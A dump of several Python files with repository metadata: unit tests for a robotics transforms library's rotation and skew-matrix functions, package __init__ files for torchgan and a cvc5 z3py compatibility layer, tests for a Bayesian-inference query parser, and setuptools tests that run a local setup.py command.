0., 1.]]) received_mat = transforms.r2t(transforms.rotx(0)) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_r2t_validData_boundaryCondition_pi_by2_rad(self): expected_mat = np.matrix([[1., 0., 0., 0.], [0., 0., -1., 0.], [0., 1., 0., 0.], [0., 0., 0., 1.]]) received_mat = transforms.r2t(transforms.rotx(pi / 2)) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) # t2r class TestT2r(unittest.TestCase): def test_transforms_t2r_validData_returnDatatype(self): # pass self.assertIsInstance(transforms.t2r(transforms.trotx(0)), np.matrix) def test_transforms_t2r_validData_returnData_dimension(self): # pass dimensions = transforms.t2r(transforms.trotx(0)).shape self.assertEqual(dimensions, (3, 3)) def test_transforms_t2r_validData_boundaryCondition_0_rad(self): expected_mat = np.matrix([[1, 0, 0], [0, 1, -0], [0, 0, 1]]) received_mat = transforms.t2r(transforms.trotx(0)) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_t2r_validData_boundaryCondition_pi_by2_rad(self): expected_mat = np.matrix([[1, 0, 0], [0, 0, -1], [0, 1, 0.]]) received_mat = transforms.t2r(transforms.trotx(pi / 2)) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) # # rpy2r | ready # class TestRpy2r(unittest.TestCase): # def test_transforms_rpy2r_validData_returnDatatype(self): # pass # self.assertIsInstance(transforms.rpy2r([[11, 1, 1]]), np.matrix) # oa2tr class TestOa2tr(unittest.TestCase): def test_transforms_oa2tr_validData_returnDatatype(self): # pass self.assertIsInstance(transforms.oa2tr([[1, 0, 1]], [[1, 1, 1]]), np.matrix) # to test: # tr2rt # rt2tr # trlog # trexp # ---------------------------------------------------------------------------------------# # 2D Transforms # ---------------------------------------------------------------------------------------# # rot2 class Testrot2(unittest.TestCase): def test_transforms_2d_rot2_validData_returnDatatype(self): self.assertIsInstance(transforms.rot2(0), np.matrix) def test_transforms_2d_rot2_validData_returnData_dimension(self): dimensions = transforms.rot2(0).shape self.assertEqual(dimensions, (2, 2)) def test_transforms_2d_rot2_validData_boundaryCondition_0_rad(self): expected_mat = np.matrix([[1, 0], [0, 1]]) received_mat = transforms.rot2(0) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_rot2_validData_boundaryCondition_pi_by2_rad(self): expected_mat = np.matrix([[0, -1, ], [1, 0]]) received_mat = transforms.rot2(pi / 2) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_rot2_validData_boundaryCondition_pi_rad(self): expected_mat = np.matrix([[-1, -0, ], [0, -1]]) received_mat = transforms.rot2(pi) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_rot2_validData_boundaryCondition_three_pi_by2_rad(self): expected_mat = np.matrix([[-0, 1, ], [-1, -0]]) received_mat = transforms.rot2(3 * pi / 2) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_rot2_validData_boundaryCondition_2pi_rad(self): expected_mat = np.matrix([[1, 0, ], [-0, 1]]) received_mat = transforms.rot2(2 * pi) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_rot2_validData_boundaryCondition_0_deg(self): expected_mat = np.matrix([[1, -0, ], [0, 1]]) received_mat = transforms.rot2(0, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_rot2_validData_boundaryCondition_360_deg(self): expected_mat = np.matrix([[1, 0, ], [-0, 1]]) received_mat = transforms.rot2(360, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_rot2_validData_boundaryCondition_90_deg(self): expected_mat = np.matrix([[0, -1, ], [1, 0]]) received_mat = transforms.rot2(90, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_rot2_validData_boundaryCondition_180_deg(self): expected_mat = np.matrix([[-1, -0, ], [0, -1]]) received_mat = transforms.rot2(180, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_rot2_validData_boundaryCondition_270_deg(self): expected_mat = np.matrix([[-0, 1, ], [-1, -0]]) received_mat = transforms.rot2(270, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_rot2_validData_boundaryCondition_450_deg(self): expected_mat = np.matrix([[0, -1, ], [1, 0]]) received_mat = transforms.rot2(450, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_rot2_invalidData_arg1_string(self): self.assertRaises(TypeError, transforms.rot2, 'invalid', unit='deg') def test_transforms_2d_rot2_invalidData_arg2_string_mismatch(self): self.assertRaises(AssertionError, transforms.rot2, 180, unit='invalid unit') def test_transforms_2d_rot2_invalidData_arg2_bool(self): self.assertRaises(AssertionError, transforms.rot2, 180, unit=True) def test_transforms_2d_rot2_invalidData_arg2_int(self): self.assertRaises(AssertionError, transforms.rot2, 180, unit=5) # trot2 class Testtrot2(unittest.TestCase): def test_transforms_2d_trot2_validData_returnDatatype(self): self.assertIsInstance(transforms.trot2(0), np.matrix) def test_transforms_2d_trot2_validData_returnData_dimension(self): dimensions = transforms.trot2(0).shape self.assertEqual(dimensions, (3, 3)) def test_transforms_2d_trot2_validData_boundaryCondition_0_rad(self): expected_mat = np.matrix([[1., -0., 0.], [0., 1., 0.], [0., 0., 1.]]) received_mat = transforms.trot2(0) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_trot2_validData_boundaryCondition_pi_by2_rad(self): expected_mat = np.matrix([[0., -1., 0.], [1., 0., 0.], [0., 0., 1.]]) received_mat = transforms.trot2(pi / 2) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_trot2_validData_boundaryCondition_pi_rad(self): expected_mat = np.matrix([[-1., -0., 0.], [0., -1., 0.], [0., 0., 1.]]) received_mat = transforms.trot2(pi) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_trot2_validData_boundaryCondition_three_pi_by2_rad(self): expected_mat = np.matrix([[-0., 1., 0.], [-1., -0., 0.], [0., 0., 1.]]) received_mat = transforms.trot2(3 * pi / 2) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_trot2_validData_boundaryCondition_2pi_rad(self): expected_mat = np.matrix([[1., 0., 0.], [-0., 1., 0.], [0, 0, 1]]) received_mat = transforms.trot2(2 * pi) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_trot2_validData_boundaryCondition_0_deg(self): expected_mat = np.matrix([[1., -0., 0.], [0., 1., 0.], [0., 0., 1.]]) received_mat = transforms.trot2(0, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_trot2_validData_boundaryCondition_360_deg(self): expected_mat = np.matrix([[1., 0., 0.], [-0., 1., 0.], [0., 0., 1.]]) received_mat = transforms.trot2(360, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_trot2_validData_boundaryCondition_90_deg(self): expected_mat = np.matrix([[0., -1., 0.], [1., 0., 0.], [0., 0., 1.]]) received_mat = transforms.trot2(90, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_trot2_validData_boundaryCondition_180_deg(self): expected_mat = np.matrix([[-1., -0., 0.], [0., -1., 0.], [0., 0., 1.]]) received_mat = transforms.trot2(180, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_trot2_validData_boundaryCondition_270_deg(self): expected_mat = np.matrix([[-0., 1., 0.], [-1., -0., 0.], [0., 0., 1.]]) received_mat = transforms.trot2(270, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_trot2_validData_boundaryCondition_450_deg(self): expected_mat = np.matrix([[0., -1., 0.], [1., 0., 0.], [0., 0., 1.]]) received_mat = transforms.trot2(450, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_2d_trot2_invalidData_arg1_string(self): self.assertRaises(TypeError, transforms.trot2, 'invalid', unit='deg') def test_transforms_2d_trot2_invalidData_arg2_string_mismatch(self): self.assertRaises(AssertionError, transforms.trot2, 180, unit='invalid unit') def test_transforms_2d_trot2_invalidData_arg2_bool(self): self.assertRaises(AssertionError, transforms.trot2, 180, unit=True) def test_transforms_2d_trot2_invalidData_arg2_int(self): self.assertRaises(AssertionError, transforms.trot2, 180, unit=5) # trexp2 class Testtrexp2(unittest.TestCase): def test_transforms_2d_trexp2_validData_returnDatatype(self): self.assertIsInstance(transforms.trexp2(transforms.rot2(10)), np.matrix) # ---------------------------------------------------------------------------------------# # Differential Motion # ---------------------------------------------------------------------------------------# # skew class TestSkew(unittest.TestCase): # Tests for if the vector is 1 # Ensure matrix is returned def test_transforms_dif_skew_validData_returnDatatype(self): self.assertIsInstance(transforms.skew(np.matrix([1])), np.matrix) # Check Matrix Dimensions vectorsize=1 def test_transforms_dif_skew_validData_returnData_dimension(self): dimensions = transforms.skew(np.matrix([1])).shape self.assertEqual(dimensions, (2, 2)) # Tests for if the vector is 3 # Ensure matrix is returned def test_transforms_dif_skew_validData_returnDatatype_v3(self): self.assertIsInstance(transforms.skew(np.matrix([1, 1, 1])), np.matrix) # Check Matrix Dimensions vectorsize=1 def test_transforms_dif_skew_validData_returnData_dimension_v3(self): dimensions = transforms.skew(np.matrix([1, 1, 1])).shape self.assertEqual(dimensions, (3, 3)) # boundary for vectore size of 1 def test_transforms_dif_skew_validData_boundaryCondition_1(self): expected_mat = np.matrix([[0, -1], [1, 0]]) received_mat = transforms.skew(np.matrix([1])) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_dif_skew_validData_boundaryCondition_2(self): expected_mat = np.matrix([[0, -2], [2, 0]]) received_mat = transforms.skew(np.matrix([2])) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_dif_skew_validData_boundaryCondition_3(self): expected_mat = np.matrix([[0, -3], [3, 0]]) received_mat = transforms.skew(np.matrix([3])) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_dif_skew_validData_boundaryCondition_4(self): expected_mat = np.matrix([[0, -4], [4, 0]]) received_mat = transforms.skew(np.matrix([4])) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_dif_skew_validData_boundaryCondition_5(self): expected_mat = np.matrix([[0, -5], [5, 0]]) received_mat = transforms.skew(np.matrix([5])) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) # boundary tests if 3 vector def test_transforms_dif_skew_validData_boundaryCondition_111(self): expected_mat = np.matrix([[0, -1, 1], [1, 0, -1], [-1, 1, 0]]) received_mat = transforms.skew(np.matrix([1, 1, 1])) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_dif_skew_validData_boundaryCondition_101(self): expected_mat = np.matrix([[0, -1, 0], [1, 0, -1], [0, 1, 0]]) received_mat = transforms.skew(np.matrix([1, 0, 1])) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_dif_skew_validData_boundaryCondition_100(self): expected_mat = np.matrix([[0, 0, 0], [0, 0, -1], [0, 1, 0]]) received_mat = transforms.skew(np.matrix([1, 0, 0])) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_dif_skew_validData_boundaryCondition_321(self): expected_mat = np.matrix([[0, -1, 2], [1, 0, -3], [-2, 3, 0]]) received_mat = transforms.skew(np.matrix([3, 2, 1])) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) # skewa class TestSkewa(unittest.TestCase): # Tests for if the vector is 3x1 # Ensure matrix is returned def test_transforms_dif_skewa_validData_returnDatatype(self): self.assertIsInstance(transforms.skewa(np.matrix([1, 1, 1])), np.matrix) # Check Matrix Dimensions vectorsize=3x1 def test_transforms_dif_skewa_validData_returnData_dimension(self): dimensions = transforms.skewa(np.matrix([1, 1, 1])).shape self.assertEqual(dimensions, (3, 3)) # Tests for if the vector is 6x1 # Ensure matrix is returned def test_transforms_dif_skewa_validData_returnDatatype_v3(self): self.assertIsInstance(transforms.skewa(np.matrix([1, 1, 1, 1, 1, 1])), np.matrix) # Check Matrix Dimensions of 4x4 if v = 6x1 def test_transforms_dif_skew_validData_returnData_dimension_v3(self): dimensions = transforms.skewa(np.matrix([1, 1, 1, 1, 1, 1])).shape self.assertEqual(dimensions, (4, 4)) # boundary for vectore size of 1 def test_transforms_dif_skewa_validData_boundaryCondition_1(self): expected_mat = np.matrix([[0, -1, 1], [1, 0, 1], [0, 0, 0]]) received_mat = transforms.skewa(np.matrix([1, 1, 1])) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_dif_skewa_validData_boundaryCondition_2(self): expected_mat = np.matrix([[0, -3, 1], [3, 0, 2], [0, 0, 0]]) received_mat = transforms.skewa(np.matrix([1, 2, 3])) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) # def test_transforms_dif_skewa_validData_boundaryCondition_2_6x1(self): # expected_mat = np.matrix([[1, 0], [0, 1]]) # received_mat = transforms.skewa(np.matrix([])) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_dif_skewa_validData_boundaryCondition_2_4x4(self): expected_mat = np.matrix([[0, -1, 1, 1], [1, 0, -1, 0], [-1, 1, 0, 1], [0, 0, 0, 0]]) received_mat = transforms.skewa(np.matrix([1, 0, 1, 1, 1, 1])) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) # boundary tests if 3 vector def test_transforms_dif_skewa_validData_boundaryCondition_111(self): expected_mat = np.matrix([[0, -1, 1], [1, 0, 1], [0, 0, 0]]) received_mat = transforms.skewa(np.matrix([1, 1, 1])) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_dif_skewa_validData_boundaryCondition_101(self): expected_mat = np.matrix([[0, -1, 1], [1, 0, 0], [0, 0, 0]]) received_mat = transforms.skewa(np.matrix([1, 0, 1])) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_dif_skewa_validData_boundaryCondition_100(self): expected_mat = np.matrix([[0, 0, 1], [0, 0, 0], [0, 0, 0]]) received_mat = transforms.skewa(np.matrix([1, 0, 0])) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_dif_skewa_validData_boundaryCondition_123(self): expected_mat = np.matrix([[0, -3, 1], [3, 0, 2], [0, 0, 0]]) received_mat = transforms.skewa(np.matrix([1, 2, 3])) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_dif_skewa_validData_boundaryCondition_321(self): expected_mat = np.matrix([[0, -1, 3], [1, 0, 2], [0, 0, 0]]) received_mat = transforms.skewa(np.matrix([3, 2, 1])) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) # vex class TestVex(unittest.TestCase): # test for 3x3 matrix def test_transforms_dif_vex_validData_returnDatatype1(self): self.assertIsInstance(transforms.vex(transforms.rotx(30)), np.matrix) # ensure returns 3x1 if matrix is 3x3 def test_transforms_dif_vex_validData_returnData_dimension1(self): dimensions = transforms.vex(transforms.rotx(30)).shape self.assertEqual(dimensions, (3, 1)) def test_transforms_dif_vex_validData_returnDatatype2(self): self.assertIsInstance(transforms.vex(transforms.rot2(0)), np.matrix) # ensure returns 1 if matrix is 2x2 def test_transforms_dif_vex_validData_returnData_dimension2(self): dimensions = transforms.vex(transforms.rot2(30)).shape self.assertEqual(dimensions, (1, 1)) def test_transforms_dif_vex_validData_boundaryCondition_rot_0(self): expected_mat = np.matrix([[0.], [0.], [0.]]) received_mat = transforms.vex(transforms.roty(0)) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) # # check whats going on herie # def test_transforms_dif_vex_validData_boundaryCondition_roty_30(self): # expected_mat = np.matrix([[0.], [-0.98803162], [0.]]) # received_mat = transforms.vex(transforms.roty(30)) # # if not matrices_equal(received_mat, expected_mat, ): # output_str = matrix_mismatch_string_builder( # expected_mat, received_mat) # self.fail(output_str) # ---------------------------------------------------------------------------------------# # Utility # ---------------------------------------------------------------------------------------# # unit if __name__ == "__main__": unittest.main()

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6

f285c34e8c7c1687aedcf675a8c87f3989c79a09

186

py

Python

torchgan/__init__.py

shubhsherl/torchgan

3dd3757dfed7c1f95aa71a7cd71f199390eb5d6d

[ "MIT" ]

1

2019-01-21T12:53:50.000Z

torchgan/__init__.py

shubhsherl/torchgan

3dd3757dfed7c1f95aa71a7cd71f199390eb5d6d

[ "MIT" ]

null

torchgan/__init__.py

shubhsherl/torchgan

3dd3757dfed7c1f95aa71a7cd71f199390eb5d6d

[ "MIT" ]

null

from torchgan import losses from torchgan import models from torchgan import trainer from torchgan import metrics from torchgan import logging __version__ = 'v0.0.2' name = "torchgan"

18.6

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1

0

6

4b31b918bb223798711dae59c5004d78b0768b10

18

py

Python

cvc5_z3py_compat/__init__.py

aniemetz/cvc5_pythonic_api

57d8c9d67e030a13296a94cf6ad7241f59192574

[ "BSD-3-Clause" ]

null

cvc5_z3py_compat/__init__.py

aniemetz/cvc5_pythonic_api

57d8c9d67e030a13296a94cf6ad7241f59192574

[ "BSD-3-Clause" ]

null

cvc5_z3py_compat/__init__.py

aniemetz/cvc5_pythonic_api

57d8c9d67e030a13296a94cf6ad7241f59192574

[ "BSD-3-Clause" ]

null

from .z3 import *

9

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0.666667

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0.071429

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0

6

4b7b35fce0bf989f98afc3a36c319585cb8a33fd

9,761

py

Python

bayesian_inference/probability/unit_test.py

yakuza8/bayesian-inference

a639e147c153cad85286ba7a04801164b5c82ac2

[ "MIT" ]

3

2020-06-19T05:37:44.000Z

2022-02-02T02:15:45.000Z

bayesian_inference/probability/unit_test.py

yakuza8/bayesian-inference

a639e147c153cad85286ba7a04801164b5c82ac2

[ "MIT" ]

null

bayesian_inference/probability/unit_test.py

yakuza8/bayesian-inference

a639e147c153cad85286ba7a04801164b5c82ac2

[ "MIT" ]

null

from unittest import TestCase from .probability import query_parser, QueryVariable from ..exceptions.exceptions import NonUniqueRandomVariablesInQuery, RandomVariableNotInContext __all__ = [] class TestProbabilityParser(TestCase): def test_valid_expression_1(self): query = 'A' value, queries, evidences = query_parser(query=query) self.assertTrue(value) self.assertListEqual([QueryVariable('A')], queries) self.assertListEqual([], evidences) def test_valid_expression_2(self): query = 'A, B, C' value, queries, evidences = query_parser(query=query) self.assertTrue(value) self.assertListEqual([QueryVariable('A'), QueryVariable('B'), QueryVariable('C')], queries) self.assertListEqual([], evidences) def test_valid_expression_3(self): query = 'A, B = b, C = c, D' value, queries, evidences = query_parser(query=query) self.assertTrue(value) self.assertListEqual([QueryVariable('A'), QueryVariable('B', 'b'), QueryVariable('C', 'c'), QueryVariable('D')], queries) self.assertListEqual([], evidences) def test_valid_expression_4(self): query = 'B = b, A, C, D = D' value, queries, evidences = query_parser(query=query) self.assertTrue(value) self.assertListEqual([QueryVariable('B', 'b'), QueryVariable('A'), QueryVariable('C'), QueryVariable('D', 'D')], queries) self.assertListEqual([], evidences) def test_valid_expression_5(self): query = 'A,B=b,C,D,E,F=f,G' value, queries, evidences = query_parser(query=query) self.assertTrue(value) self.assertListEqual( [QueryVariable('A'), QueryVariable('B', 'b'), QueryVariable('C'), QueryVariable('D'), QueryVariable('E'), QueryVariable('F', 'f'), QueryVariable('G')], queries) self.assertListEqual([], evidences) def test_valid_expression_6(self): query = ' B = b , A , C , D = D ' value, queries, evidences = query_parser(query=query) self.assertTrue(value) self.assertListEqual([QueryVariable('B', 'b'), QueryVariable('A'), QueryVariable('C'), QueryVariable('D', 'D')], queries) self.assertListEqual([], evidences) def test_valid_expression_7(self): query = 'A, B=b, C | D = d' value, queries, evidences = query_parser(query=query) self.assertTrue(value) self.assertListEqual([QueryVariable('A'), QueryVariable('B', 'b'), QueryVariable('C')], queries) self.assertListEqual([QueryVariable('D', 'd')], evidences) def test_valid_expression_8(self): query = 'A, B=b, C | D = d, E = e' value, queries, evidences = query_parser(query=query) self.assertTrue(value) self.assertListEqual([QueryVariable('A'), QueryVariable('B', 'b'), QueryVariable('C')], queries) self.assertListEqual([QueryVariable('D', 'd'), QueryVariable('E', 'e')], evidences) def test_valid_expression_9(self): query = 'A, B=b, C |D=d,E=e, F = f ' value, queries, evidences = query_parser(query=query) self.assertTrue(value) self.assertListEqual([QueryVariable('A'), QueryVariable('B', 'b'), QueryVariable('C')], queries) self.assertListEqual( [QueryVariable('D', 'd'), QueryVariable('E', 'e'), QueryVariable('F', 'f')], evidences) def test_invalid_expression_1(self): query = '' value, queries, evidences = query_parser(query=query) self.assertFalse(value) def test_invalid_expression_2(self): query = ',' value, queries, evidences = query_parser(query=query) self.assertFalse(value) def test_invalid_expression_3(self): query = ' , | ' value, queries, evidences = query_parser(query=query) self.assertFalse(value) def test_invalid_expression_4(self): query = 'A ,' value, queries, evidences = query_parser(query=query) self.assertFalse(value) def test_invalid_expression_5(self): query = ', A' value, queries, evidences = query_parser(query=query) self.assertFalse(value) def test_invalid_expression_6(self): query = 'A | ' value, queries, evidences = query_parser(query=query) self.assertFalse(value) def test_invalid_expression_7(self): query = 'A = a |' value, queries, evidences = query_parser(query=query) self.assertFalse(value) def test_invalid_expression_8(self): query = 'A = a | , ' value, queries, evidences = query_parser(query=query) self.assertFalse(value) def test_invalid_expression_9(self): query = 'A = , ' value, queries, evidences = query_parser(query=query) self.assertFalse(value) def test_invalid_expression_10(self): query = 'A = |' value, queries, evidences = query_parser(query=query) self.assertFalse(value) def test_invalid_expression_11(self): query = 'A = a | B' value, queries, evidences = query_parser(query=query) self.assertFalse(value) def test_invalid_expression_12(self): query = 'A = a | B, ' value, queries, evidences = query_parser(query=query) self.assertFalse(value) def test_invalid_expression_13(self): query = 'A = a | B = b, ' value, queries, evidences = query_parser(query=query) self.assertFalse(value) def test_invalid_expression_14(self): query = 'A = a, C | B = b | K ' value, queries, evidences = query_parser(query=query) self.assertFalse(value) def test_invalid_expression_15(self): query = 'A K = a, C | B = b' value, queries, evidences = query_parser(query=query) self.assertFalse(value) def test_non_unique_valid_expression_1(self): query = 'A, B, C, A, G' with self.assertRaises(NonUniqueRandomVariablesInQuery): query_parser(query=query) def test_non_unique_valid_expression_2(self): query = 'A, B, C | A = a, G = g' with self.assertRaises(NonUniqueRandomVariablesInQuery): query_parser(query=query) def test_non_unique_valid_expression_3(self): query = 'K | A = a, B = b, C = c, A = a, G = g' with self.assertRaises(NonUniqueRandomVariablesInQuery): query_parser(query=query) def test_all_variables_exist_1(self): query = 'A, B=b, C, D=d | E=e, F=ff, G=g, H=hh' context = { 'A': ['a', 'aa'], 'B': ['b', 'bb'], 'C': ['c', 'cc'], 'D': ['d', 'dd'], 'E': ['e', 'ee'], 'F': ['f', 'ff'], 'G': ['g', 'gg'], 'H': ['h', 'hh'] } value, queries, evidences = query_parser(query=query, expected_symbol_and_values=context) self.assertTrue(value) self.assertListEqual([QueryVariable('A'), QueryVariable('B', 'b'), QueryVariable('C'), QueryVariable('D', 'd')], queries) self.assertListEqual( [QueryVariable('E', 'e'), QueryVariable('F', 'ff'), QueryVariable('G', 'g'), QueryVariable('H', 'hh')], evidences) def test_all_variables_exist_2(self): query = 'A, B=b, C, D=d | E=e, F=ff, G=g, H=hh' context = { 'A': ['a', 'aa'], 'B': ['b', 'bb'], 'D': ['d', 'dd'], 'E': ['e', 'ee'], 'F': ['f', 'ff'], 'G': ['g', 'gg'], 'H': ['h', 'hh'] } with self.assertRaises(RandomVariableNotInContext) as e: query_parser(query=query, expected_symbol_and_values=context) self.assertTrue('C' in str(e.exception)) def test_all_variables_exist_3(self): query = 'A, B=b, C, D=d | E=e, F=ff, G=g, H=hh' context = { 'A': ['a', 'aa'], 'C': ['c', 'cc'], 'D': ['d', 'dd'], 'E': ['e', 'ee'], 'F': ['f', 'ff'], 'G': ['g', 'gg'], 'H': ['h', 'hh'] } with self.assertRaises(RandomVariableNotInContext) as e: query_parser(query=query, expected_symbol_and_values=context) self.assertTrue('B' in str(e.exception)) def test_all_variables_exist_4(self): query = 'A, B=b, C, D=d | E=e, F=ff, G=g, H=hh' context = { 'A': ['a', 'aa'], 'B': ['bb'], 'C': ['c', 'cc'], 'D': ['d', 'dd'], 'E': ['e', 'ee'], 'F': ['f', 'ff'], 'G': ['g', 'gg'], 'H': ['h', 'hh'] } with self.assertRaises(RandomVariableNotInContext) as e: query_parser(query=query, expected_symbol_and_values=context) self.assertTrue('B' in str(e.exception)) def test_all_variables_exist_5(self): query = 'A, B=b, C, D=d | E=e, F=ff, G=g, H=hh' context = { 'A': ['a', 'aa'], 'B': ['b', 'bb'], 'C': ['c', 'cc'], 'D': ['d', 'dd'], 'E': ['e', 'ee'], 'G': ['g', 'gg'], 'H': ['h', 'hh'] } with self.assertRaises(RandomVariableNotInContext) as e: query_parser(query=query, expected_symbol_and_values=context) self.assertTrue('F' in str(e.exception)) def test_all_variables_exist_6(self): query = 'A, B=b, C, D=d | E=e, F=ff, G=g, H=hh' context = { 'A': ['a', 'aa'], 'B': ['b', 'bb'], 'C': ['c', 'cc'], 'D': ['d', 'dd'], 'E': ['e', 'ee'], 'F': ['f', 'ff'], 'G': ['gg'], 'H': ['h', 'hh'] } with self.assertRaises(RandomVariableNotInContext) as e: query_parser(query=query, expected_symbol_and_values=context) self.assertTrue('G' in str(e.exception))

39.840816

99

0.569921

1,159

9,761

4.655738

0.062985

0.069311

0.09785

0.128428

0.924203

0.89066

0.878058

0.871386

0.82487

0.799666

0

0.005425

0.263498

9,761

244

100

40.004098

0.745166

0

0.535354

0

0.035354

0.087389

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0.292929

1

0.166667

false

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0.015152

0

0.186869

0

null

0

1

0

null

0

6

4b9a975edb897ebaa2736161c7849bc0b94b62cb

900

py

Python

test/test_setuptools.py

douardda/tidypy

9d4c6470af8e0ca85209333a99787290f36498d4

[ "MIT" ]

null

test/test_setuptools.py

douardda/tidypy

9d4c6470af8e0ca85209333a99787290f36498d4

[ "MIT" ]

null

test/test_setuptools.py

douardda/tidypy

9d4c6470af8e0ca85209333a99787290f36498d4

[ "MIT" ]

null

import sys import subprocess import pytest @pytest.mark.skipif(sys.platform == 'win32', reason='windows hates setuptools') def test_default(): proc = subprocess.Popen( ['python', 'setup.py', 'tidypy'], cwd='test/project1', stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True, ) out, err = proc.communicate() assert out.startswith('running tidypy') assert proc.returncode == 0 @pytest.mark.skipif(sys.platform == 'win32', reason='windows hates setuptools') def test_options(): proc = subprocess.Popen( ['python', 'setup.py', 'tidypy', '--fail-on-issue', '--project-path=test/project1'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True, ) out, err = proc.communicate() assert out.startswith('running tidypy') assert proc.returncode == 1

25

92

0.648889

100

900

5.8

0.44

0.096552

0.055172

0.065517

0.865517

0.734483

0

0.011236

0.208889

900

35

93

25.714286

0.803371

0

0.538462

0

0.202673

0.03118

0

0.153846

1

0.076923

false

0

0.115385

0

0.192308

0

null

0

1

0

null

0

6

4ba1b42e2017e44331fb938675e1b792a9190d02

24,662

py

Python

